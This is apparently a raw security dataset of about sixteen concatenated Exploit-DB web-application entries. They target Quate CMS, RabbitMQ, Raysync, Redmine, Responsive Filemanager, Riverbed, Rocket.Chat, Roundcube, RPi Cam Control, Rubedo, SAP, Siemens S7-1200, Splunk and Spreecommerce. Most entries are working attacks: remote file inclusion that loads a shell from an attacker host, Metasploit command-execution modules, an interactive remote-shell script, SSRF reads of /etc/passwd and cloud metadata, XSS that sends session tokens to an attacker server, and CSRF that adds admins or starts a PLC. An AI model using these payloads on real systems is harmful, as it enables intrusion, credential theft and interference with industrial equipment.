deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10263
Description: Quate CMS 0.3.5 - Local/Remote File Inclusion
Type: webapps
Platform: linux
Date: 2009-12-01
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]



########################################################################

#Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerability

#Download Script      :  http://quate.net/quatecms

#Dork                 :  die("lamers attempt");  :P

########################################################################

#

#Vuln RFI : ./QuateCMS_035/admin/includes/header.php (line 27)

#       <?php

#         if ($bypass_restrict != 1) {

#            require_once($secure_page_path. "includes/secure.php");

#         }

#       ?>

#PoC  :  http://[target]/[path]/admin/includes/header.php?secure_page_path=http://[attacker]/shell.txt???

#

#

#########################################################################

#

#Vuln LFI : ./QuateCMS_035/admin/includes/footer.php (line 4)

#       <?PHP

#           if ($not_logged_in != 1) {

#             if (file_exists("includes/themes/" .$row_secure['account_theme']. "/footer.php")) {

#              require_once("themes/" .$row_secure['account_theme']. "/footer.php");

#        ?>

#PoC   :  http://[target]/[path]/admin/includes/footer.php?row_secure[account_theme]=../../../../../../etc/passwd%00

#

########################################################################

########################################################################

####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################

########################################################################

########################################################################



   [ Gorontalo / 2009 ]
Exploit-DB #44902
Description: RabbitMQ Web Management < 3.7.6 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: linux
Date: 2018-06-18
Author: Dolev Farhi

Exploit:
# Exploit Title: RabbitMQ Web Management < 3.7.6 - Cross-Site Request Forgery
# Date: 2018-06-17
# Author: Dolev Farhi
# Vendor or Software Link: www.rabbitmq.com
# Version: 3.7.6
# Tested on: Ubuntu

<html>  
<h2>Add RabbitMQ Admin</h2>

<body>
<form name="rabbit" id="rabbit" action="http://Target/api/users/rootadmin" method="POST">
<input type="hidden" name="username" value="rootadmin" />
<input type="hidden" name="password" value="rootadmin" />
<input type="hidden" name="tags" value="administrator" />
<input type="submit"  value="save" />
</form>

<script>
  window.onload = rabbit.submit()
</script>

</body>
</html>
Exploit-DB #49265
Description: Raysync 3.3.3.8 - RCE
Type: webapps
Platform: linux
Date: 2020-12-16
Author: james

Exploit:
# Exploit Title: Raysync 3.3.3.8 - RCE
# Date: 04/10/2020
# Exploit Author: XiaoLong Zhu
# Vendor Homepage: www.raysync.io
# Version: below 3.3.3.8
# Tested on: Linux

step1: run RaysyncServer.sh to build a web application on the local

environment, set admin password to 123456 , which will be write to

manage.db file.

step2: curl "file=@manage.db" http://[raysync
ip]/avatar?account=1&UserId=/../../../../config/manager.db

to override remote manage.db file in server.

step3: login in admin portal with admin/123456.

step4: create a normal file with all permissions in scope.

step5: modify RaySyncServer.sh ,add arbitrary evil command.

step6: trigger rce with clicking "reset" button
Exploit-DB #16889
Description: Redmine SCM Repository 0.9.x/1.0.x - Arbitrary Command Execution (Metasploit)
Type: webapps
Platform: linux
Date: 2011-01-08
Author: Metasploit

Exploit:
##
# $Id: redmine_scm_exec.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Redmine SCM Repository Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
				Redmine repository controller. The flaw is triggered when a rev parameter
				is passed to the command line of the SCM tool without adequate filtering.
			},
			'Author'         => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11516 $',
			'References'     =>
				[
					['OSVDB', '70090'],
					['URL', 'http://www.redmine.org/news/49' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Dec 19 2010',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
				], self.class)
	end

	def exploit
		command = Rex::Text.uri_encode(payload.encoded)
		urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`"

		res = send_request_raw({
			'uri'     => urlconfigdir,
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
		handler
	end

end
Exploit-DB #45103
Description: Responsive Filemanager 9.13.1 - Server-Side Request Forgery
Type: webapps
Platform: linux
Date: 2018-07-30
Author: GUIA BRAHIM FOUAD

Exploit:
# Exploit Title: Responsive filemanager 9.13.1 - Server-Side Request Forgery
# Date: 2018-07-29
# Exploit Author: GUIA BRAHIM FOUAD
# Vendor Homepage: http://responsivefilemanager.com/
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.13.1/responsive_filemanager.zip
# Version: 9.13.1
# Tested on: responsive filemanager version: 9.13.1, php version: 7.0
# CVE : CVE-2018-14728

# PoC
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=file:///etc/passwd'
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=http://169.254.169.254/openstack'
Exploit-DB #42101
Description: Riverbed SteelHead VCX 9.6.0a - Arbitrary File Read
Type: webapps
Platform: linux
Date: 2017-06-01
Author: Gregory Draperi

Exploit:
# Exploit title : Arbitry file reading by authenticated users on Riverbed SteelHead VCX
# Vendor: Riverbed
# Author: Gregory DRAPERI <gregory.draper_at_gmail.com>
# Date: 03/2017
# Software Link: https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html
# Version: SteelHead VCX (VCX255U) (x86_64) 9.6.0a
import sys
import requests


def exploit(address, login, password,file):
    s = requests.Session()
    url = address
    try:
        r1 = s.get(url+"/login?next=/");
        cookies = requests.utils.dict_from_cookiejar(s.cookies);
        csrf = cookies["csrftoken"]
        authentication = {'csrfmiddlewaretoken': csrf, '_fields': "{\"username\":\""+login+"\",\"password\":\""+password+"\",\"legalAccepted\":\"N/A\",\"userAgent\":\"\"}"}
        r2 = s.post(url+"/login?next=/",  data=authentication)
        r3 = s.get(url+"/modules/common/logs?filterStr=msg:-e .* /etc/passwd ")
        print r3.text

    except Exception as e:
        print "\n! ERROR: %s" % e
    return False



if len(sys.argv) < 4:
    print "Usage: exploit.py <target> <login> <password> <file>\n"
    print "Example: exploit.py http://192.168.1.2 admin password /etc/passwd\n"
    quit()
target = sys.argv[1]
login = sys.argv[2]
password = sys.argv[3]
file = sys.argv[4]
exploit(target,login,password,file)
Exploit-DB #47537
Description: Rocket.Chat 2.1.0 - Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2019-10-23
Author: 3H34N

Exploit:
# Title: Rocket.Chat 2.1.0 - Cross-Site Scripting
# Author: 3H34N
# Date: 2019-10-22
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat < 2.1.0
# CVE: CVE-2019-17220
# Special Thanks : Ali razmjoo, Mohammad Reza Espargham (@rezesp)

# PoC
# 1. Create l33t.php on a web server

<?php
$output = fopen("logs.txt", "a+") or die("WTF? o.O");
$leet = $_GET['leet']."\n\n";
fwrite($output, $leet);
fclose($output);
?>

# 2. Open a chat session
# 3. Send payload with your web server url

![title](http://10.10.1.5/l33t.php?leet=+`{}token`)

# 4. Token will be written in logs.txt when target seen your message.
Exploit-DB #45437
Description: Roundcube rcfilters plugin 2.1.6 - Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2018-09-19
Author: Fahimeh Rezaei

Exploit:
# Exploit Title: Roundcube rcfilters plugin 2.1.6 - Cross-Site Scripting
# Date: 2018-09-09
# Exploit Author: Fahimeh Rezaei
# Vendor Homepage: https://plugins.roundcube.net/packages/eagle00789/rcfilters
# Software Link: https://plugins.roundcube.net/packages/eagle00789/rcfilters
# Version: rcfilters plugin v2.1.6
# Tested on: Roundcube version 1.0.5
# CVE : CVE-2018-16736
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16736
# https://nvd.nist.gov/vuln/detail/CVE-2018-16736
# https://github.com/eagle00789/RC_Filters/issues/19

# Details:
# In the rcfilters plugin 2.1.6 for Roundcube, XSS exists via the 
# _whatfilter and _messages parameters (in the Filters section of the settings).

# PoC

POST /rc/?_task=settings&_action=plugin.filters-save HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Referer: https://Target/rc/?_action=plugin.filters&_task=settings
Cookie: roundcube_sessid=; roundcube_sessauth=
Connection: close
Upgrade-Insecure-Requests: 1

_token=09bcde247d252364ea55c217c7654a1f&_whatfilter=from]<script>alert('XSS-1')</script>&_searchstring=whatever&_casesensitive=1&_folders=INBOX&_messages=all])<script>alert('XSS-2')</script>
Exploit-DB #45361
Description: RPi Cam Control < 6.4.25 - 'preview.php' Remote Command Execution
Type: webapps
Platform: linux
Date: 2018-09-04
Author: Reigning Shells

Exploit:
#!/usr/bin/python

import sys
import requests
import os
import re
import readline

def usage():

	print "\nRPi Cam Web Interface Exploit\n"
	print "Usage: %s http://host/path/to/preview.php \n" % sys.argv[0]
	print "Options: "
	print "  -h, --help              Show this help message and exit"
	print ""
	sys.exit(0)

def execute_command(url, cmd):
	
	split = "---a97a13f9f48c65c72e4802fc1e516e3f---"
	convert = ".) >/dev/null 2>&1; (" + cmd + ") 2>&1; echo " + split + ";#aaaaaaa"
	convertCmd = "/usr/bin/ffmpeg -f image2 -i i_%05d.jpg"
	data = {"convert":convert,"convertCmd":convertCmd}
	headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"}

	try:
		r = requests.post(url, headers=headers, data=data, verify=False)
		if r.status_code == 200:
			if len(r.content) > 0 and split in r.content:
				return r.content.split(split)[0]
			else:
				return ""
		else:
			print "\n[*] Error: Received HTTP Status " + str(r.status_code) + "\n"
			return ""	
	except requests.ConnectionError as e:
		print "\n[*] Error: An error occurred while connecting to the host.\n"
		exit(1)
	except requests.exceptions.RequestException as e:
		print "\n[*] Error: Something unexpected happened.\n"
		print e
		exit(1)

def main():

	if len(sys.argv) < 2 or sys.argv[1] in ("-h", "--help"):
		usage()

	url = sys.argv[1]

	print "\nRPi Cam Web Interface Exploit"

	print "\n[*] Attempting exploit on:"
	print "    " + url

	username = execute_command(url,"whoami").strip()
	if len(username) == 0:
		exit(1)
        
	hostname = execute_command(url, "hostname").strip()

	path = execute_command(url, "pwd").strip()

	print "\n[*] Returning prompt!\n"

	try:
		while True:
			prompt = username + "@" + hostname + ":" + path + "$ " 
			cmd = raw_input(prompt)
			if cmd == "exit":
				print "\n[*] Goodbye!\n"
				return
                        elif cmd.startswith("cd "):
                                chars = set(";&|")
				if any((c in chars) for c in cmd):
					print "[*] This shell only supports cd as a standalone command."
				else:
					cmd = cmd.split()
					tmpPath = " ".join(cmd[1:])
					if tmpPath == "..":
						if len(path.split("/")) > 2:
							tmpPath = "/".join(path.split("/")[:-1])
						else:
							tmpPath = "/"
					cmd = "cd " + path + " && cd " + tmpPath + " 2>&1 && pwd"
					tmpPath = execute_command(url,cmd).strip()
					if tmpPath.startswith("/") or re.match("^[a-zA-Z]:\\)*",tmpPath):
						path = tmpPath
					else:
						print tmpPath.split('\n')[0]
			elif cmd == "clear":
				os.system("clear")
			else:
				cmd = "cd " + path + " && " + cmd
				results = execute_command(url, cmd)
				if len(results) != 0:
					print results

	except KeyboardInterrupt:
		print "\n\n[*] Goodbye!\n"
		return

if __name__ == "__main__":
	main()
Exploit-DB #45385
Description: Rubedo CMS 3.4.0 - Directory Traversal
Type: webapps
Platform: linux
Date: 2018-09-12
Author: Marouene Boubakri

Exploit:
# Exploit Title: Rubedo CMS 3.4.0 - Directory Traversal
# Google Dork: intext:rubedo.current.page.description
# Date: 2018-09-11
# Exploit Author: Marouene Boubakri
# Vendor Homepage: https://www.rubedo-project.org
# Version: through 3.4.0
# Tested on: Linux
# CVE : CVE-2018-16836

# PoC:
# Read /etc/passwd file from remote server

/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd'
Exploit-DB #44655
Description: SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion
Type: webapps
Platform: linux
Date: 2018-05-18
Author: Richard Alviarez

Exploit:
# Title: SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion
# Application:SAP B2B OR B2C is CRM
# Versions Affected: SAP B2B OR B2C is CRM 2.x 3.x and 4.x with Bakend R/3 (to icss_b2b)
# Vendor URL: http://SAP.com
# Bugs: SAP LFI in B2B OR B2C CRM
# Sent:  2018-05-03
# Reported:  2018-05-03
# Date of Public Advisory: 2018-02-09
# Reference: SAP Security Note[PII_REDACTED]
# Author: Richard Alviarez

# 1. VULNERABLE PACKAGES
# SAP LFI in B2B OR B2C CRM v2.x to 4.x
# Other versions are probably affected too, but they were not checked.

# 2. TECHNICAL DESCRIPTION
# A possible attacker can take advantage of this vulnerability 
# to obtain confidential information of the platform, 
# as well as the possibility of writing in the logs of the
# registry in order to get remote execution of commands and take control of the system.


# 3. Steps to exploit this vulnerability

A. Open
https://SAP/{name}_b2b/initProductCatalog.do?forwardPath=/WEB-INF/web.xml

Other vulnerable parameters:

https://SAP/{name}_b2b/CatalogClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/IbaseSearchClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/ForwardDynamic.do?forwardPath=/WEB-INF/web.xml
page on SAP server

B. Change parameter {name} for example icss_b2b or other name....

C. Change "/WEB-INF/web.xml" for other files or archives internal.


# 4. Collaborators
# - CuriositySec
# - aDoN90
# - Vis0r
Exploit-DB #44647
Description: SAP NetWeaver Web Dynpro 6.4 < 7.5 - Information Disclosure
Type: webapps
Platform: linux
Date: 2018-05-18
Author: Richard Alviarez

Exploit:
# Application: SAP NetWeaver Web Dynpro 6.4 to 7.5 - Information disclosure
# Versions Affected: SAP NetWeaver 6.4 - 7.5
# Vendor URL: http://SAP.com
# Bugs:  Information disclosure (Enumerate users)
# Sent:  2016-12-15
# Reported:  2016-12-15
# Date of Public Advisory: 09.02.2016
# Reference: SAP Security Note 2344524
# Author: Richard Alviarez (SIA Group)
# CVE: N/A

# 1. ADVISORY INFORMATION
# Title: SAP NetWeaver Web Dynpro – information disclosure (Enumerate users)
# Advisory ID: 2344524
# Risk: Medium
# Date published: 20.12.2016

# 2. VULNERABILITY DESCRIPTION
# Anonymous attacker can use a special HTTP request to get information
# about SAP NetWeaver users.

# 3. VULNERABLE PACKAGES
# SAP NetWeaver Web Dynpro 6.4 - 7.5
# Other versions are probably affected too, but they were not checked.

# 4. TECHNICAL DESCRIPTION
# A potential attacker can use the vulnerability in order to reveal
# information about user names,
# first and last names, and associated emails, this can provide an attacker
# with enough information
# to make a more accurate and effective attack

# Steps to exploit this vulnerability

1. Open
http://SAP/webdynpro/dispatcher/sap.com/caf~eu~gp~example~timeoff~wd/ACreate
or
http://SAP/webdynpro/dispatcher/sap.com/caf~eu~gp~example~timeoff~wd/com.sap.caf.eu.gp.example.timeoff.wd.create.ACreate

page on SAP server

2. Press "Change processor" button

3. and in the "find" section, put the initial or name to be searched,
followed by a *

You will get a list of SAP users and information.
Exploit-DB #44667
Description: Siemens SIMATIC S7-1200 CPU - Cross-Site Request Forgery
Type: webapps
Platform: linux
Date: 2018-05-21
Author: t4rkd3vilz

Exploit:
# Exploit Title: Siemens SIMATIC S7-1200 CPU - Cross-Site Request Forgery
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-21
# Exploit Author: t4rkd3vilz, Jameel Nabbo
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-1200 CPU family: All versions prior to V4.1.3
# Tested on: Kali Linux
# CVE: CVE-2015- 5698

# 1. Proof of Concept

<form method="POST" action="http://targetIp/CPUCommands">
    <input name="PriNav" value="Start">
    <input type="submit" value="Go!">
</form>
Exploit-DB #44687
Description: Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2018-05-22
Author: t4rkd3vilz

Exploit:
# Exploit Title: Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-22
# Exploit Author: t4rkd3vilz, Jameel Nabbo
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-1200 CPU family Versions: V2.X and V3.X.
# Tested on: Kali Linux
# CVE: CVE-2014-2908

http://TargetIp/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=
<http://targetip/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=>"><img
src=x onerror=prompt(1);>&Send=Filter
Exploit-DB #44865
Description: Splunk < 7.0.1 - Information Disclosure
Type: webapps
Platform: linux
Date: 2018-06-08
Author: KoF2002

Exploit:
# Exploit Title: Splunk < 7.0.1 - Information Disclosure
# Date: 2018-05-23
# Exploit Author: KoF2002
# Vendor Homepage: https://www.splunk.com/
# Version: 6.2.3 - 7.01 MAYBE ALL VERSION AFFECTED
# Tested on: Linux OS
# CVE : CVE-2018-11409

# Splunk through 6.2.3 7.0.1 allows information disclosure by appending
# /__raw/services/server/info/server-info?output_mode=json to a query,
# as demonstrated by discovering a license key and other information.

# PoC :

https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json

# Greats : Cold z3ro , ihab pal and all HTLovers "We Are Back"
Exploit-DB #17941
Description: Spreecommerce 0.60.1 - Arbitrary Command Execution (Metasploit)
Type: webapps
Platform: linux
Date: 2011-10-07
Author: Metasploit

Exploit:
##
# $Id: spree_search_exec.rb 13831 2011-10-07 17:45:15Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Spreecommerce 0.60.1 Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
					Spreecommerce search. Unvalidated input is called via the 
					Ruby send method allowing command execution.
			},
			'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13831 $',
			'References'     =>
				[
					[ 'OSVDB', '76011'],
					[ 'URL', 'http://spreecommerce.com/blog/2011/10/05/remote-command-product-group/' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'BadChars' => "\x60",
					'DisableNops' => true,
					'Space'       => 31337,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
						}
				},
			'Platform'       => [ 'unix', 'linux' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]),
				], self.class)
	end

	def exploit
		command = Rex::Text.uri_encode(payload.raw, 'hex-all')
		res = send_request_raw({
			'uri'     => datastore['URI']+ "?search[send][]=eval&search[send][]=Kernel.fork%20do%60#{command}%60end",
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 0.4 ) #short timeout, we don't care about the response
			
		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		end
			
		handler
	end

end